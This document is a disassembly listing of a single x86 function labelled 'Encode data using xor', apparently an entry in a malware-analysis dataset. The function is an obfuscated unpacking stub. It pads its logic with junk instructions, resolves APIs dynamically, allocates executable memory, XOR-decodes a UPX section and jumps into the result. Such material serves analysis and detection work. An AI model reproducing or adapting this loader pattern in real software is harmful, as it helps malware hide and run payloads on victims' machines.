Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xbf2773bf
sub ecx, 0x2b7167c3
sub ecx, esi
popal
or esi, ecx
or ecx, ecx
mov ecx, 0
mov edi, eax
add ebx, 0x77868314
add ebx, ebx
add edx, edx
mov esi, edi
inc edx
sub ebx, 0x72ae53c
mov eax, esi
mov ebx, edx
not ebx
mov ebx, 0xa8cd5da4
inc ecx
dec ebx
not ebx
add edx, 0x5fab948d
cmp ecx, 0x100461f
jne 0xa789c4
not edx
not ebx
add edx, edx
inc ecx
add ecx, 1
dec esi
mov edx, 0xa78796
not ebx
sub edi, 0x3dfea030
mov ecx, 0xa7898a
add edi, edi
sub edi, eax
add eax, 0x2acb7d1b
mov esi, dword [edx]
dec ebx
inc edi
and esi, 0xff
sub ebx, 0x82d55a9
sub eax, 0x4cc415e
add eax, eax
xor dword [ecx], esi
add ebx, edi
and edi, edi
dec eax
add ecx, 1
dec eax
and edi, ebx
mov ebx, 0x1d166e5f
inc edx
dec edi
dec eax
sub edi, eax
cmp ecx, entry0
jl 0xa78a24
mov eax, 0xeec3d30b
sub eax, ebx
sub edi, ebx
and eax, eax
add eax, 0xe4f3a72a
sub edi, eax
sub edi, 0xce7ccdf
sub edx, ecx
add edx, edx
mov esi, 0xa7898e
and edx, edx
or edx, edi
mov esi, dword [esi]
sub edi, ecx
not edi
mov esi, dword [esi]
mov ebx, 0x953fe3cb
add ebx, 0x20526031
add ebx, 1
push esi
sub edi, 0x58013ec1
inc ebx
dec ecx
mov esi, 0xa7898a
or edi, ebx
add edx, 1
add ebx, ebx
mov esi, dword [esi]
not ebx
or edx, edx
mov esi, dword [esi]
and ecx, ecx
or edi, edx
inc ecx
push 0xa78992
add edi, 0x2a415d52
dec edx
call esi
not ecx
not edx
pop esi
mov edi, edx
and edx, ebx
push 0xa7899f
or edi, edx
sub ebx, 0x43c16577
push eax
not edx
mov edi, 0xcdf18d27
mov edi, 0x86a484f6
call esi
add edx, 0x8d5d7a8f
sub ecx, 0x5def47ea
sub esp, 4
mov dword [esp], 0x40
add edx, 0x61a1fe69
sub edx, 0xdac7cb6
add ecx, 1
sub esp, 4
mov dword [esp], 0x3000
or edx, edi
add ebx, ebx
push 0x20000b5e
or edi, edx
add edx, 0x72c3ecbf
mov ebx, ecx
push 0
not ecx
not edi
add edi, 1
call eax
mov edi, ecx
or edx, ebx
add eax, 0x20000acb
add edx, ecx
sub ecx, 0xa65ae021
inc ebx
mov esi, 0x31e74cc4
sub ebx, edx
add edx, edx
or ebx, edx
mov dword [eax], esi
and edx, edx
add ecx, edi
or edx, ebx
mov esi, dword [eax]
add edi, 0x1e7e81b0
add edx, edi
sub ecx, edx
cmp esi, 0x31e74cc4
je 0xa78b90
mov eax, 0
mov ebx, dword [eax]
mov edi, ecx
and ecx, ebx
mov ecx, ebx
sub ecx, 0xe7492116
inc ebx
mov edi, 0xe1d52dac
or esi, ecx
sub esi, ecx
inc esi
mov ebx, section.UPX1
inc esi
add ecx, ecx
or esi, ecx
mov edx, 0xa78795
mov esi, ecx
add esi, 0xd26d2e8f
add ecx, 0x927b0b3d
mov eax, 0
add esi, esi
mov ecx, 0xaf6abfae
mov edi, 0xa78796
or ecx, ecx
mov esi, ecx
and ecx, esi
lea edi, [eax + edi]
sub esi, 0x711f64d8
sub esi, 0x44bea8cc
mov edi, dword [edi]
sub ecx, 0x15b4afcd
sub ecx, 0xb6bff085
and edi, 0xff
not ecx
mov esi, ecx
and ecx, esi
inc eax
inc esi
sub ecx, 0xf9d70d46
cmp eax, 0x1f4
jne 0xa78c19
mov eax, 0
not ecx
and ecx, esi
and ecx, ecx
dec esi
sub esi, ecx
xor dword [ebx], edi
sub esi, ecx
add esi, 0xa988c35d
sub ecx, esi
add ebx, 2
mov esi, 0xa29285c8
inc esi
inc esi
cmp ebx, edx
jl 0xa78bd0
not ecx
mov esi, ecx
mov ecx, 0xd020c74
mov esi, 0xad72359f
and ecx, esi
mov esi, section.UPX1
or ecx, ecx
sub edi, ecx
add edi, 0x97724810
mov ebx, section.UPX1
sub ecx, edi
add edi, edi
mov edx, 0xa78795
mov ecx, 0xcd1c366a
not ecx
mov eax, 0
sub edi, ecx
mov edi, 0x40fff52
mov ecx, 0x806729d3
mov al, byte [ebx]
add ecx, 0x97f8d116
or edi, edi
mov byte [esi], al
mov edi, ecx
mov edi, ecx
add esi, 1
add edi, 0x398914b
mov edi, 0x10bfd8bd
sub edi, ecx
add ebx, 2
mov edi, 0x4f0bde95
dec ecx
cmp ebx, edx
jle 0xa78c88
dec edi
mov ecx, edi
add ecx, esi
mov esi, 0x7d01b56c
push 0x8dc6a0
and ecx, ecx
sub esi, ecx
or ecx, ecx
ret